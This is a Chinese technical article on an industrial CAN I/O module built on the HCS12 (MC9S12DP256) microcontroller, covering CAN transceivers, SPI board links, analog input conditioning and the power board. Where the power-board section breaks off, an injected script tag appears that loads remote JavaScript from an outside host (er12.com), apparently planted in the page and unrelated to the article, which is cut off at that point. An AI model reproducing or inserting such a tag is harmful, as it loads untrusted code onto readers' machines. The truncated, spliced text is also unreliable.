基于HCS12和模拟器件的工业CAN I/O模块设计

工业can i/o模块包含8个模拟输入、16个数字输入、16个数字输出,以及一个兼容高速can收发器2.1 a/b的控制器和可选的rs232/rs485收发器。该方案基于飞思卡尔的16位mc9s12dp256微控制器单元。can物理收发器有两个可行的替代产品,为容错can接口mc33388,或带多输出电源的高速can mc33394。can接口与 iso 11898兼容,允许最大数据速率为500kbps。 数字输入采用开关监视接口mc33884芯片,数字输出用低端功率开关器件mc33298实现。 本文讨论的模块可以用作高层通信协议软件开发的硬件平台。另外,该模块可以用于用户软件的实现和测试。基于这一目的,电路板需要配备重新编程和调试用的后台调试模式(bdm)接口。工业can i/o模块从逻辑上分成基板、电源和i/o板三个基本电路板。板与板之间的数据传送由串行外设接口(spi)协议保证。
      基板的组成 
      工业can i/o模块中基板的主要功能是对模块实施控制,并与系统控制单元进行通信。基板配备有8个模拟通道。基板从逻辑上又可以分成微控制器模块、can接口、模拟输入和rs232_485接口4个模块。 
      a.微控制器模块 
      16 位mc9s12dp256微控制器单元(mcu)是基板的主要组成部分。工业can i/o模块使用了内嵌于mcu 的5个can外设之一(can0)。根据bosch规范的定义,该外设是一个用于实现can 2.0a/b协议的通信控制器。can外设是mscan(摩托罗拉可伸缩can)的一种特定实现。它使用了2个外部引脚,一个输入(rxcan0)和一个输出(txcan0)通过can收发器与can总线进行通信。一个输出信号用于实现对can收发器芯片的控制。 
      如上所述,板之间的数据传送是由spi协议保证的。spi模块可以实现mcu与外设之间的全双工串行通信。工业can i/o模块使用了mcu的3个spi外设中的一个(sp0)。该 spi可以被配置为主模式或从模式。spi0外设必须选择主模式,因为只有主spi才能发起到外设的传送。 
      工业can i/o模块使用了内嵌于mcu的两个8通道模数转换器中的一个(an0)。a/d模块执行模拟到数字的转换,该模块包含了简单模数转换所必需的模块和数字电子电路。a/d转换器的分辨率(8位或10 位)是可编程选择的。在工作电压为5v时,模块可以接受5v输入而不会导致永久性损坏。 
      基板上有一个8位dip开关,用于配置节点地址(节点识别号)以及can速度。与主机开发系统的单线通信是通过用片上硬件实现的bdm系统完成,与目标系统的连接通过标准的6引脚bdm连接器实现。 
      b.can接口 
      每个 can节点是通过收发器芯片实现与can总线的物理连接。收发器能够驱动can总线所需要的大电流,并具有隔离故障can或故障站的电流保护功能。基板上的can收发器有两个可选项:一个是使用容错can接口mc33388;另一个使用mc33394器件的高速can收发器部分。模块使用mc33394器件的高速can收发器部分,同时也是电源板的一部分。 
      c.模拟输入 
      模块共提供了8个模拟通道。在每个模拟通道的输入部分都有一个衰减斜率是-40db/dec、截止频率为1khz的无源低通滤波器。输入滤波器用于滤除在采样之前引入的高频噪声和干扰。模拟通道可以被配置为电压或电流模式。250欧姆电阻为4到20ma的电流环路提供电流检测和实用的过流保护。模拟通道的电压输入如信号的范围是0到10v、0到5v以及-5v到+5v、-2.5v到+2.5v,电流范围是4到20ma。输入范围由微控制器控制。 
      d.rs232_485接口 
      基板提供了一个用于连接pc或类似主机的rs232接口,以及一个用于工业应用的rs485接口。 
      电源板 
      电源板能够提供工业can i/o模块所需的所有电源。电源板的主器件是一个带高速can收发器的多输出电源集成电路pc33394。该器件内置有开关型整流器,可提供预调节的输出,后面紧跟一个低压降输出 (ldo)调节器。并应用并没有用到pc33394的全部功能。内部开关调节器集成了实现降压/生压整流器的电路。该电路眼板上只实现了降压调节器。回扫转换器提供对称的电压为模块的模拟通道供电。变压器输出电压经整流后由线性稳压器产生一对称的+12v、-12v输出电压。 
      高速can收发器的物理层将微控制器的cmos输出及差分总线相接。can驱动?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计